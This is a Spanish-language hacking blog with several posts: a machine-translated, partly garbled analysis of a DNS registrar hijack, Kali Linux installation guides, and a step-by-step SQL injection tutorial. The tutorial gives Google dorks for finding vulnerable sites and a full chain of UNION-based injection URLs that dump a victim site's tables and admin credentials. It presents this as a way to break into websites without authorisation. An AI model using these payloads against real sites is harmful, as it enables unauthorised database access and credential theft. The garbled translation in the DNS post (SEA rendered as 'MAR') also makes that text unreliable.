APK Hacks | Para expertos y principiantes!

27 de enero de 2014

A principios de esta semana se produjo un nuevo ataque atribuido al Ejército Electrónico Sirio ( SEA). Durante un periodo de alrededor de seis horas , algunos visitantes a The New York Times, dos servicios de Twitter , y sitios del Huffington Post del Reino Unido fueron redirigidos a favor de Assad contenido web político. Muchas personas asumen naturalmente que estos sitios web de alto perfil han sido hackeados y desfigurado, pero en realidad el ataque era mucho más simple - y los atacantes MAR no tenía necesidad de siquiera tocar un solo servidor que pertenecen a estas organizaciones.
A pesar de ser posiblemente el componente más crítico de la moderna Internet , muy pocas personas entienden realmente cómo y , más concretamente , el mantenimiento de dominio funciona DNS. En los últimos años , creo que las empresas con una importante presencia en Internet han llegado a apreciar algunas de las amenazas que pueden afectar a su infraestructura de DNS, pero aún tienen que invertir en sistemas adecuados y planes de respuesta que va a ayudar a mantener sus sitios y contenidos accesibles en cualquier cosa más que el más ligero toque de un hacker competente.

A diferencia de gran parte de la infraestructura utilizada por las empresas en línea para servir contenido en las transacciones por Internet o de proceso , el registro de DNS y administración de dominio se maneja casi exclusivamente por parte de terceros . En la mayoría de los casos , estos proveedores de registro DNS y dominio saben que su negocio muy bien, pero a menudo hay una gran desconexión entre la seguridad de sus operaciones y las de sus clientes más importantes .
Por ejemplo , para los sitios web que reciben 50,000 -plus de visitantes por día , o procesan más de 1.000 transacciones financieras por hora , puede estar bastante seguro de que se están ejecutando generación actual perímetro sistemas de defensa ( NGFW , IPS , DLP , etc ) , someterse a una revisión periódica de seguridad y extensas y las pruebas de penetración , y se controlan generalmente en tiempo real por un contingente de back-office de los administradores de sistemas experimentados y gerentes de producto - por los negocios propios.
Mientras tanto , DNS está alojado en una tercera parte , el registro del dominio es probablemente gestionado por otra, y ninguna de las defensas de seguridad o sistemas de alerta se alimenta de vuelta al cliente . Ah, y el proveedor de registro de dominios puede ser la misma gente que la empresa es comprado originalmente el nombre de dominio hace 15 años.
Desde la perspectiva de un hacker, ir tras la infraestructura DNS del objetivo o de un portal de gestión de dominio representa un blanco fácil .
Hackear un clúster de servidores Web moderna , subvirtiendo a su causa política , y tener ese mensaje presentado a miles de visitantes del sitio para más de cinco minutos es una tarea difícil. Hackear la infraestructura de alojamiento de un proveedor comercial de Internet o servicio principal es a menudo mucho más difícil. Mientras tanto , la focalización y subvertir un pequeño proveedor de alojamiento DNS o la obtención de las credenciales de administración para el portal de registro de dominio es una propuesta mucho más fácil - el atacante probablemente ni siquiera necesita tocar cualquier sistema de propiedad y operados por su objetivo final . Una vez que las entradas DNS clave han sido alterados, los atacantes pueden parecer que han puesto en peligro los servicios Web de la diana durante horas ( incluso días ) , ya que las entradas actualizadas se propagan por Internet .
Mientras que el efecto final es el mismo , los cortes contra el servidor DNS o el proceso de registro de dominio son técnicamente muy diferente . Hackear un servidor DNS, por un lado, es muy parecida a la piratería de cualquier otro dispositivo de la infraestructura, pero también hay una gran cantidad de vectores de ataque adicionales que se destinen específicamente a las deficiencias en la forma en que la aplicación de base de datos DNS y funciona - en busca de afectar el almacenamiento en caché glitches , explotar vulnerabilidades de servicios DNS, usurpan los controles de acceso administrativos , o simplemente adivinando una cuenta de gestión .
Hackear el sistema de registro de dominio tiende a ser una bestia diferente. En la mayoría de los casos, hacks contra el seleccionado por el sistema en la obtención de las credenciales de acceso del propietario de dominio o administrador. Por ejemplo , en el ataque SEA principios de esta semana , se dice que los atacantes han utilizado un ataque spearphishing contra el personal de un Melbourne IT distribuidor para capturar datos de la cuenta de administrador , y las han usado para editar los campos del servidor de nombres . Al cambiar los campos del servidor de nombres para los dominios específicos, el mar era capaz de redirigir todas las búsquedas de Internet para aquellos dominios de nivel superior (TLD) en particular a los servidores DNS que controlaba , y los servidores DNS , por su parte , respondió a consultas de búsqueda entrantes para hosts (y servicios) asociados con esos dominios de primer nivel con las direcciones IP de los servidores que controlaban - que sirven de contenido político a favor de Assad .
He encontrado constantemente el registro del dominio y el proceso administrativo que se debiliten y fortuita . En las primeras fases de una prueba de penetración , durante la fase de recopilación de información pasiva , es fácil de identificar las debilidades administrativas en los detalles de registro de dominios de incluso una búsqueda WHOIS rápida . Cuando usted comienza a enumerar qué cuentas pueden mantener una entrada de dominio (es decir , a través de la " mnt -by: " tag) , y los que todavía dependen de una contraseña de autenticación protegido por un hash MD5 humildes (es decir , "Autenticación : MD5 -PW ") , que está obligado a mover la cabeza con incredulidad.
Mi consejo para las organizaciones que buscan protegerse de ataques similares a nivel de registro DNS y dominio está , en primer orden, elija un proveedor de DNS y registro de dominios que pueden demostrar que han invertido en el nivel adecuado de los sistemas de defensa del perímetro y estrategias de respuesta - idealmente en un nivel comparable ( o mejor) que el suyo propio. En este árbol de servicio en particular de Internet , usted realmente consigue lo que usted paga.
En segundo lugar, cuando se está evaluando la seguridad de sus sitios web principales y la infraestructura de acceso a Internet , asegúrese de que sus DNS y Registradores de dominio no sólo se incluyen en la información pasiva recopilación etapas, pero también están dentro del alcance de una prueba de penetración o rojo - ejercicio de equipo .
Por último, debe " endurecer " sus procesos de administración de dominio - asegurar que está utilizando la autenticación fuerte y cambiar los procedimientos de control y , cuando sea posible , que haya bloqueado el dominio a través del "registro -lock " y las opciones de " Bloqueo de Registrador " .
Una advertencia , sin embargo: Incluso después de realizar estas acciones, los procesos de mantenimiento de DNS y dominio seguirá siendo uno de los puntos más débiles de su estatura de seguridad de Internet . Se recomienda vigilancia . Reconocer que esto es un continuo punto débil , asegúrese de que usted vigile los cambios de forma continua, y la respuesta a incidentes veterinario planea adecuadamente.

14 de diciembre de 2013

El Raspberry Pi es una computadora ARM de gama baja y barata. A pesar de sus menos-que-estelares pliego de especificaciones, la capacidad de financiación hace que sea un excelente opción para un sistema Linux pequeño y pueda hacer mucho más que actuar como un PC multimedia.



Kali Linux en Raspberry Pi – Manera Fácil


Si todo lo que quiere hacer es instalar Kali en su Raspberry Pi, siga estas instrucciones:


1. Obtenga una tarjeta SD de 8 GB (o más). Tarjetas Clase 10 son altamente recomendadas.

root@kali:~ dd if=kali-pi.img of=/dev/sdb bs=512k


2. Baje la imagen Kali Linux para Raspberry Pi de nuestra area downloads.

3. Use el utilitario dd para crear la imagen que ira en su tarjeta SD. En nuestro ejemplo, nosotros asumimos que el dispositivo de almacenamiento esta localizado en /dev/sdb. Cambie este si es necesario.

Alerta! Este proceso borrara su tarjeta SD. Si usted escoge un dispositivo de almacenamiento distinto, podria estar borrando su disco duro.

 Este proceso puede tomarse su tiempo dependiendo de la velocidad de su dispositivo USB y tamaño de la imagen. Una vez que la operación dd este completa, reinicie su Rasberry Pi con su tarjeta SD conectada. Estaras habilitado para loguearte en Kali (root / toor) y digitar startx. Y eso es, esta listo!
FUENTE ORIGINAL: http://es.docs.kali.org/06-arquitectura-arm-de-kali/instalando-kali-arm-en-un-raspberry-pi

13 de diciembre de 2013

Si decide instalar Kali Linux en una VirtualBox, tendrá que seguir las siguientes instrucciones en orden para una exitosa instalación de las herramientas adicionales de huésped.


Siempre debe usar la última versión de VirtualBox para tomar ventaja de las mejoras incluidas en las actualizaciones de compatibilidad y estabilidad mejorada, tanto de las adiciones de huésped como el núcleo de la aplicación.

Instalación de las adiciones de huésped de VirtualBox en Kali Linux

Con el fin de tener un apropiado funcionamiento del mouse y la integración de pantalla así como compartir carpetas con el sistema principal, necesitara instalar las adiciones de huésped de VirtualBox.
Una vez que haya arrancado su máquina virtual de Kali Linux, abra una ventana de terminal y ejecute el siguiente comando para instalar las cabeceras del kernel de Linux.
 apt-get update && apt-get install -y linux-headers-$(uname -r)
Una vez completado esto, se pueden adjuntar los Guest Additions CD-Rom. Esto puede ser hecho seleccionando ‘Devices’ del Menu de VirtualBox y seleccionando ‘Install Guest Additions.’ Esto montara la iso GuestAdditions a el virtual CD Drive en su maquina virtual Kali Linux. Cuando se le pida autoejecutar el CD, haga clic en el botón Cancel.
VirtualBox-Cancel-Auto-Run
Desde una ventana de terminal, copie el archivo VboxLinuxAdditions.run de Guest Additions CD-Rom a la ruta en el sistema local asegurandose que sea ejecutable y el archivo pueda correr al iniciar la instalación.
cp /media/cd-rom/VBoxLinuxAdditions.run /root/
chmod 755 /root/VBoxLinuxAdditions.run
cd /root
./VboxLinuxAdditions.run
VirtualBox-VBox-Additions-Install
Reinicie su VM Kali Linux para completar la instalación de las adiciones de huespéd. Ahora debería tener completa integración del mouse y pantalla, así como la capacidad de compartir carpetas con el sistema principal.

Creación de carpetas compartidas en el sistema principal

Para compartir carpetas de su sistema principal con tu VM Kali Linux, hay unos pocos pasos que se deben completar.
Desde el administrador de la VirtualBox, seleccione su instancia de Kali Linux VM y haga clic en el enlace ‘Shared Folders’ en el panel derecho de la ventana. Esto abrirá una ventana emergente para agregar carpetas. Dentro de esta ventana, haga clic en el icono para agregar una carpeta.
En la caja de texto de la ruta de carpeta, proporcione la ruta a la carpeta que desea compartir, o haga clic en la flecha descendente para navegar hacia la ruta de su sistema principal. Seleccione las casillas de verificación que permiten el ‘Auto-mount’ y ‘Make Permanent’ y haga clic en el botón OK ambas veces cuando se le solicite.
Figure-20-Shared-folder-config
Sus carpetas compartidas estarán ahora disponibles en su directorio de medios. Puedes crear un marcador o un enlace para facilitar el acceso al directorio.
VirtualBox-Shared-folder-in-Kali

12 de diciembre de 2013

El arranque y la instalación de Kali desde una memoria USB es nuestro método preferido y es la manera más rápida de correrlo. Para hacer esto, primero tenemos que crear la imagen ISO de Kali en una unidad de USB. Si a usted le gustaría añadir persistencia a la memoria USB de Kali Linux, por favor lea el documento completo antes de proceder a crear su imagen.

Preparativos para la copia USB

1. Descarga Kali linux.

2. En Windows, descargar Win32 Disk Imager.

3. No se necesita software especial si usa Linux como su sistema operativo.

4.Una memoria USB (con por lo menos 2GB de capacidad).

Procedimiento para la instalación de Kali Linux desde una memoria USB

Creando una imagen de Kali en Windows

1. Conecte su memoria USB en el puerto USB de Windows. Inicie el software Disk Imager Win32.

2. Elija el archivo ISO de Kali Linux con el que creará la imagen y verifique que la unidad USB que será sobrescriba es la correcta.

kali-usb-install-windows

3. Una vez que la imagen haya sido creada, expulsar de forma segura la unidad USB desde la máquina Windows. Ahora puede utilizar la memoria USB para arrancar Kali Linux.

Creando una imagen de Kali en Linux

La creación de una memoria USB desde la cual pueda arrancar Kali Linux en un entorno de Linux es fácil. Una vez que haya descargado el archivo ISO de Kali, puede utilizar dd para copiarlo a la memoria USB:
ADVERTENCIA. Aunque el proceso de creación de imágenes de Kali en una memoria USB es muy fácil, usted puede fácilmente destruir particiones arbitrarias con dd si usted no entiende lo que está haciendo. Queda advertido.
1. Conecte el dispositivo USB al puerto USB de su ordenador Linux.

2. Compruebe que la ruta de su dispositivo de almacenamiento USB con dmesg.

3. Proceda (con cuidado) a crear la imagen de Kali Linux en el dispositivo USB:
dd if=kali.iso of=/dev/sdb
Eso es todo, de verdad! Ahora puede arrancar en un entorno Kali Live / Instalador usando el dispositivo USB.

Agregando persistencia a su memoria USB de Kali Linux

La adición de persistencia (la capacidad de guardar archivos y los cambios a través de arranques en directo) a su imagen de Kali Linux puede ser muy útil en ciertas situaciones. Para agregar persistencia a su memoria USB de Kali Linux, siga estos pasos.En este ejemplo, asumimos nuestra unidad USB es /dev/sdb. Si desea agregar la persistencia, usted necesitará un dispositivo USB más grande que el que encontrarás en nuestros requisitos anteriores.
1. Cree la imagen de Kali Linux en su memoria USB como se ha explicado anteriormente, utilizando el “Método de Linux” y dd.

2. Cree y formatee una partición adicional en la memoria USB. En nuestro ejemplo, podemos utilizar gparted invocando:
  1. gparted /dev/sdb
3. Su esquema de particionamiento actual debe ser similar a este:
usb-persistence-basic-partitioning
4. Proceda a formatear la nueva partición para ser utilizada para la persistencia. En nuestro ejemplo, hemos utilizado todo el espacio disponible restante. Asegúrese de que la etiqueta de volumen de la partición recién creada sea la de la persistencia, y dele formato utilizando el sistema de archivos ext4.

usb-persistence-creating-partition5. Una vez que el proceso se haya completado, monte su partición persistente USB utilizando los siguientes comandos:

  1. mkdir /mnt/usb
  2. mount /dev/sdb2 /mnt/usb
  3. echo "/ union" >> /mnt/usb/persistence.conf
  4. umount /mnt/usb
6. Conecte la memoria USB en el equipo que desea arrancar. Asegúrese de que su BIOS arrancará desde el dispositivo USB. Cuando la pantalla de arranque de Linux Kali aparezca, seleccione “boot en vivo” en el menú (no presione enter), y presione el botón de tabulación. Esto le permitirá editar los parámetros de arranque. Agregue la palabra “persistence” al final de la línea de parámetro de arranque cada vez que quiera montar su almacenamiento permanente. 

usb-persistence



























FUENTE ORIGINAL: http://es.docs.kali.org/installation-es/instalacion-de-kali-linux-desde-una-memoria-usb

11 de diciembre de 2013

Requisitos de instalación de Kali Linux

Instalar Kali Linux en su ordenador es un proceso fácil. Primero necesitará hardware que sea compatible en su ordenador. Kali es soportado en las siguientes plataformas: i386, en amd64, y en ARM (tanto armel como armhf). Los requisitos de hardware son mínimos y se enumeran a continuación, aunque mejor hardware naturalmente ofrece un mejor rendimiento. Las imágenes i386 tienen un núcleo predeterminado PAE, por lo que pueden ejecutarse en sistemas con más de 4 GB de RAM. Descarge Kali Linux y, o bien grabe el ISO en un DVD, o prepare una memoria USB con Kali Linux Live como medio de instalación. Si usted no tiene una unidad de DVD o un puerto USB de su ordenador.

Requisitos previos de instalación

  • Un mínimo de 8 GB de espacio en disco para la instalación de Kali Linux.
  • Para las arquitecturas i386 y amd64, un mínimo de 512 MB de RAM.
  • Lectora de CD/DVD / Soporte para iniciar desde una memoria USB

Preparándose la instalación

  1. Descarge Kali Linux.
  2. Queme el Kali Linux ISO a DVD o prepare una memoria USB con Kali Linux Live como medio de instalación.
  3. Asegúrese de que su ordenador está configurado para arrancar desde un CD / USB en el BIOS.

Procedimiento de instalación de Kali Linux

  1. Para iniciar la instalación, arranque con el medio de instalación elegido. Usted debe ser recibido con la pantalla de arranque de Kali. Elegir si desea proceder con una instalación gráfica o en modo texto. En este ejemplo, hemos elegido una instalación gráfica.
    Kali Install
  2. Seleccione el idioma que desee y luego su país de localización. También se le pedirá que configure su teclado con el mapa de teclado adecuado.

  3. localechooser_languagelist_0
  4. El programa de instalación copiará la imagen en su disco duro, probará las interfaces de red, y luego le pedirá que introduzca un nombre de host para el sistema. En el siguiente ejemplo, hemos entrado “Kali”, como el nombre de host.

  5. netcfg_get_hostname_0
  6. Introduzca una contraseña robusta para la cuenta de root y cree las cuentas adicionales que desee.

  7. kali-linux-install-02
  8. Configure su zona horaria.

  9. time_zone_0
  10. El instalador probará sus discos, y le ofrecerá cuatro opciones. En nuestro ejemplo, vamos a usar el disco entero en nuestro ordenador y no la configuración de LVM (Logical Volume Manager). Los usuarios experimentados pueden utilizar el método manual de partición para una configuración más granular.

  11. partman-auto_init_automatically_partition_0
  12. Entonces tendrá una última oportunidad para revisar la configuración de su disco antes de que el instalador haga que los cambios sean irreversibles. Después de hacer clic en Continuar, el instalador irá a trabajar y usted tendrá una instalación casi terminada.

  13. kali-linux-install-03
  14. Configurar espejos de red. Kali utiliza un repositorio central para distribuir aplicaciones. Tendrá que introducir la información de proxy adecuado según sea necesario.
    NOTA! Si selecciona “NO” en esta pantalla, NO usted no será capaz de instalar paquetes desde repositorios de Kali.
    kali-linux-install-04
  15. El próximo paso es instalar GRUB.

  16. kali-linux-install-05
  17. Por último, haga clic en Continuar para reiniciar en su nueva instalación de Kali.

  18. finish-install_reboot_in_progress_0

Kali Linux ya debería estar instalado y funcionando correctamente

FUENTE ORIGINAL: http://es.docs.kali.org/installation-es/instalacion-de-kali-linux-en-un-disco-duro


4 de diciembre de 2013

Que es un ataque de inyección SQL?  Un ataque SQL injection es uno de los métodos mas populares y efectivos al momento de hackear una pagina web o obtener privilegios de administrador en un servidor. Explotando correctamente esta vulnerabilidad, una persona puede ganar acceso a la base de datos de una pagina web sin estar autorizado para ello. Una vez concedido el acceso, tendrá control total sobre la base de datos de la víctima.

Para que sirve? Que se puede hacer con esto?

  • ByPass Login de administrador
  • Acceder a toda la información de la pagina
  • Modificar los contenidos de la pagina
  • Apagar o deshabilitar el servidor My SQL

SQL Injection Tutorial Paso a Paso:

1. Encontrar Pagina Vulnerable a SQL Injection

Para encontrar un sitio vulnerable, la forma mas fácil es utilizar Google y buscar con ciertos parámetros. Estos parámetros se llaman "Google Dorks"

Ejemplos:
inurl:index.php?id=
inurl:galeria.php?id=
inurl:articulo.php?id=
inurl:pageid=


NOTA: Si queremos hackear una pagina en particular usamos:


site:www.victima.com inurl:index.php?id=

Para mas Dorks les dejo una lista con miles de ellos aquí: "Google Dorks"

Lo que tenemos que hacer ahora es elegir alguno que nos guste y pegarlo en el cuadro de búsqueda de Google como si estuviéramos haciendo una búsqueda común, y le damos a buscar. Obtendremos algo como esto:



Ahora elegimos una y procedemos con el siguiente paso

2. Comprobar la vulnerabilidad SQL:

Para comprobar que la pagina es definitivamente vulnerable a SQL injection lo que tenemos que hacer es agregar un simple ' en lugar del valor al final de nuestra url y darle enter. Ejemplo:

http://www.victima.com/index.php?id=2'

Si al cargar esta dirección nos da un error como este, o nos aparece una pagina en blanco, la pagina es vulnerable y podemos proceder con el ataque. Ejemplo de error:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Si la pagina se carga igual que antes, esto quiere decir que no es vulnerable y no podremos seguir con el ataque.

3. Averiguar el numero de columnas en la base de datos SQL:

Ahora que ya sabemos que nuestra pagina es vulnerable, lo siguiente es averiguar la cantidad de columnas que posee la base de datos.
Para ello realizamos lo siguiente:

Reemplazamos el apostrofe ' que habíamos puesto antes con "order by x". Y a esta X la reemplazamos por un valor numérico comenzando desde el 1 y así continuamente, 1,3,4,5,5,6,7...
Ejemplo:

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

Tendremos que realizar esto hasta que con algún numero "X" nos devuelva un error como el anterior. Si con un numero "X" nos devuelve error, esto quiere decir que el numero de columnas es X-1 Para hacerlo mas rápido podemos ir marcando  zonas, probamos primero con 50, si nos devuelve error quiere decir que el primer numero que nos devolverá error (que es el que estamos buscando) esta entre el 1 y el 50, y así sera mas fácil y rápido encontrarlo 
Ejemplo:


http://www.victima.com/index.php?id=2 order by 1 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 2 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 3 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 4 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 5 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 6 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 7 (Sin Error)
http://www.
victima.com/index.php?id=2 order by 8 ( Error )

En este caso, si con el numero 8 obtenemos un Error, el numero de columnas sera 8-1=7. El numero de columnas es 7 

NOTA. En caso de que después de probar con muchos números y no obtener ningún error reemplazamos el método anterior con lo siguiente y realizamos el mismo procedimiento:


http://www.victima.com/index.php?id=2 order by 1--

4.  Encontrar la Columna Vulnerable:

Para esto, lo primero que tenemos que hacer es reemplazar el numero después de = por el mismo numero pero en negativo.
Ejemplo:

http://www.victima.com/index.php?id=-2

Luego de hacer esto agregamos el siguiente código a continuación del numero anterior junto con una secuencia de números que valla desde el 1 hasta el numero de columnas que encontramos anteriormente que en mi caso fue
Nos quedaría algo así:


http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

Cuando carguemos esta dirección, nos devolverá un numero o un par de números que van a ser el numero de columnas que son vulnerables. En caso de ser mas de uno, procederemos a usar el primero. 
Nos devolverá algo como esto:



En este caso, la columna vulnerable es la numero 3 y la 7

Aunque sean dos las columnas vulnerables, solo utilizaremos una, yo voy a utilizar la numero 3. Esto nos servirá para saber donde insertar nuestro código en el siguiente paso.

5. Averiguar Versión SQL, Base de Datos y Usuario:

Para averiguar estos datos, lo que tenemos que hacer es reemplazar el numero de la columna vulnerable, en mi caso el numero 3, por los siguientes códigos. Cada uno nos mostrará un resultado diferente el cual tenemos que anotar ya que dependiendo de los resultados procederemos de distintas maneras.
Los códigos que tenemos que poner en lugar del 3 (numero de columna vulnerable) son:

version()
database()
user() 

Nos quedara algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--
Esto nos dará la versión de la base de datos SQL. Ejemplo: 5.0.1


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--
Esto nos devolverá el nombre de la base de datos actual  


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--
Y esto el nombre de usuario de la base de datos 

NOTA: Si el método anterior no les funciona, prueben con este:


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

6. Averiguar el Nombre de las Tablas dentro de la Base de Datos:

Si en el paso anterior obtuvimos como resultado de la versión de la base de datos una versión mayor o igual a 5.0.0, son buenas noticias ya que esto quiere decir que no vamos a tener que adivinar las tablas y las obtendremos sin ningún problema. En caso de que la versión sea menor a 5, vamos a tener que usar un método que se llama "Blind SQL Injection" para adivinar las tablas que explicaré en otro post.

Ahora, si nuestra versión es mayor a 5, vamos a continuar con la obtención de tablas, para ello vamos a reemplazar el 3 (en tu caso el numero de columna vulnerable obtenido anteriormente con lo siguiente:

group_concat(table_name)

Y al final de todo vamos a agregar esto: 


from information_schema.tables where table_schema=database()

Nos quedará algo como esto: 


http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

Cargamos la pagina, y obtendremos todas las tablas en la base de datos actual. Lo que hay que hacer ahora es buscar alguna tabla que tenga información interesante para obtener sus datos (principalmente tablas que puedan contener información de usuarios y admins)


En mi caso, yo elegire la tabla "admin"

7. Averiguar el nombre de las columnas de la tabla elegida anteriormente:

Lo que haremos ahora sera reemplazar el "from information_schema.tables where table_schema=database()--" por "FROM information_schema.columns WHERE table_name=mysqlchar--"

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=mysqlchar--

Pero como verántodavía hay una parte en rojo la cual tenemos que reemplazar por el nombre de la tabla que elegimos anteriormente (en mi caso "admin") convertido a MySQL CHAR(). 

Convertir nombre de tabla a MySQL CHAR():

Para esto, nos vamos a Mozilla Firefox y instalamos el add-on HackBar, el cual pueden descargar de aquí: https://addons.mozilla.org/en-US/firefox/addon/3899/

Una vez descargado y reiniciado Mozilla, van a ver una barra de herramientas en la parte superior debajo de la barra de direcciones.

Ahora, vamos a SQL->Mysql->MysqlChar() 


Ponemos el nombre de la tabla que queremos convertir y le damos a OK:


A continuación vamos a ver nuestra tabla ya convertida a MySQL CHAR():


Lo que tenemos que hacer ahora que ya tenemos convertido el nombre de nuestra tabla es reemplazar la linea en rojo de la URL anterior (mysqlchar) por nuestra tabla convertida.
Nos quedará algo como esto:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--

Le damos a enter y obtendremos una lista con todas las columnas de la tabla. 
Ejemplo: 


admin,password,admin_id,admin_name,admin_password 
active,id,admin_name,admin_pass ​ 
admin_id,admin_name,admin_password,ID_admin 
admin_username,username,password, etc...

Ahora, para obtener los datos de las columnas obtenidas tenemos que hacer lo siguiente: 

Primero reemplazamos "group_concat(column_name)" por "group_concat(columna1,0x3a,columna2)" donde reemplazaremos columna1 y columna2 por dos columnas a eleccion. Por ejemplo: "group_concat(admin,0x3a,password)"

Luego, tenemos que reemplazar "from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" por "from nombre_de
_tabla" donde "nombre_de
_tabla" va a ser la tabla que elegimos anteriormente pero sin convertir a MySQL CHAR().

Nos quedara algo como esto:

http://www.victima.com/index.php?id=-2 
and 1=2 union select 1,2,group_concat(admin_id,0x3a,password),4,5,6,7 from admin--

Ejecutamos, y con suerte obtendremos los datos de las columnas que seleccionamos, en este caso, obtendremos las credenciales de Administrador tanto Usuario como Contraseña que nos darán acceso completo al servidor.

8. Encontrar Pagina del panel de Administrador para acceder a la base de datos con las credenciales obtenidas anteriormente con SQL injection:

La forma mas fácil y rápida de hacer esto es utilizando una herramienta automatizada como jSQL explicada aquí: http://apk-hacks.blogspot.com.ar/2013/11/jsql-herramienta-sql-automatica.html

Una alternativa es usar Havij que puedes encontrar aqui: http://www.itsecteam.com/products/havij-advanced-sql-injection/








Powered by KikBooks Widget